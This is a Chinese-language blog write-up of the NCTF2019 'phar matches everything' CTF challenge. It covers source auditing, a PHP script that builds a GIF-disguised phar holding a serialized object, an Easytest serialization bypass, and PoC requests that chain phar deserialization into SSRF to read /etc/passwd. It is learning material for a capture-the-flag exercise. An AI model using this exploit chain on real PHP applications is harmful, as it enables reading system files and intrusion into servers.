[NCTF2019]phar matches everything

原创

pumpkin.zhu 于 2021-06-08 14:48:52 发布 213 收藏 1

分类专栏： PHP代码审计 CTF

本文链接：https://blog.csdn.net/soldi_er/article/details/117702437


PHP代码审计 同时被 2 个专栏收录

26 篇文章 0 订阅

订阅专栏


CTF

12 篇文章 0 订阅

订阅专栏

文章目录

信息搜集、验证利用条件

####验证利用条件

phar反序列化漏洞的三个条件：可以上传文件。可以执行命令的魔法函数。可以解析phar的函数，并且参数可控。

（1）条件一：上传文件到服务端，满足。
（2）可控参数和解析函数，通过前端代码找到catchmime.php的post参数name，可以访问服务器文件，满足。
（3）可执行的类、以及魔法函数，缺失信息。

信息搜集

dirsearch进行目录扫描，返回429限制请求速度。

源码在哪里？无信息：/robots.txt、/hint.php。使用御剑2线程，没找到信息文件。

扫一眼wp，发现这道题目是提供源码的。下载源码。

####审计源码

寻找可控参数，catchmine.php可用`getimagesize($_POST['name']);`来访问phar文件。
经过测试，getimagesize()可以解析`phar://`触发反序列化。这意味着构造的url会被解析。接下来寻找执行url的函数。
访问phar文件的payload：name=phar://phar.gif。

找到类了，跳板函数只有`echo curl_exec(this->url)`，其中参数可控。
这个函数访问目标资源，并输出执行结果，会导致SSRF漏洞。
一般我们利用反序列化漏洞，最希望的跳板函数是`eval()`，直接执行构造的php代码。
但如果跳板函数不是`eval()`，我们如何执行命令触发RCE？这就是题目考点。

```
class Main {
    public $url;
    public function curl($url){
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        $output=curl_exec($ch);
        curl_close($ch);
        return $output;
    }

 public function __destruct(){
        $this_is_a_easy_test=unserialize($_GET['careful']); // 可控参数
        if($this_is_a_easy_test->funny_get() === '1'){
            echo $this->curl($this->url);
        }
    }
}
```

查看WP

这道题目的考点：phar反序列化漏洞+SSRF漏洞+PHP-FPM未授权访问漏洞。
phar反序列化没有直接执行命令的跳板函数，需要结合另外两个漏洞进行利用。

学习了php-fpm任意命令执行漏洞，Apache默认以module方式加载php，Nginx默认以CGI模式加载php。其中Nginx与CGI的通信方式有两种，分别是`TCP`和默认的`Unix Socket`。
而默认的Unix Socket模式，利用条件是`上传php文件`或`执行代码`。

出于`恒初忌深远`的考虑，采取SSRF漏洞任意读取文件。

漏洞利用

触发phar反序列化漏洞：curl_exec(“file:///etc/passwd”)。

构造phar文件

生成phar.phar文件，修改后缀为.jpg，上传phar.jpg到服务器。

`The file 95aa6b74ea.gif has been uploaded to ./uploads/`

```php
<?php
   class Main {
public $url;
   }
   $o = new Main();
   $o -> url ="file:///etc/passwd";


   $phar = new Phar("phar.phar"); //后缀名必须为phar
   $phar->startBuffering();
   $phar->setStub("GIF89A"."<?php __HALT_COMPILER(); ?>"); //设置stub

   $phar->setMetadata($o); //将自定义的meta-data存入manifest
   $phar->addFromString("test.txt", "test"); //添加要压缩的文件
   //签名自动计算
   $phar->stopBuffering();
?>
```

绕过简单检查

正确示范的代码如下，返回报错信息及/etc/passwd文件内容，成功读取/etc/passwd。
`failed to open stream: phar error: file "" in phar "uploads/95aa6b74ea.gif" cannot be empty`。

```php
<?php
class Easytest{
   protected $test="1";

}
$o = new Easytest();
echo urlencode(serialize($o));
?>
```

这里有一个坑，务必使用php进行URL编码。
错误示范：输出序列化结果如下，然后使用工具或在线网站进行URL编码。
`O:8:"Easytest":1:{s:7:"*test";s:1:"1";}`
报错：Stack trace: #0 [internal function]: Main->__destruct() #1 {main} thrown。

Poc

成功读取/etc/passwd文件：

```
访问URL地址及get参数
/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D

POST数据
submit=1&name=phar://uploads/95aa6b74ea.gif
```

####猜测flag文件位置

猜解flag文件位置：/flag或者/var/www/html/flag.php。
直接修改phar.gif中的触发代码为：file:///flag，返回报错信息。开wp视角，没有/flag文件。
`failed to open stream: manifest cannot be larger than 100 MB in phar`。

这道题目涉及到内网SSRF、php-fpm未授权访问漏洞。flag在内网机器的/flag文件中，
这道题目先到这里。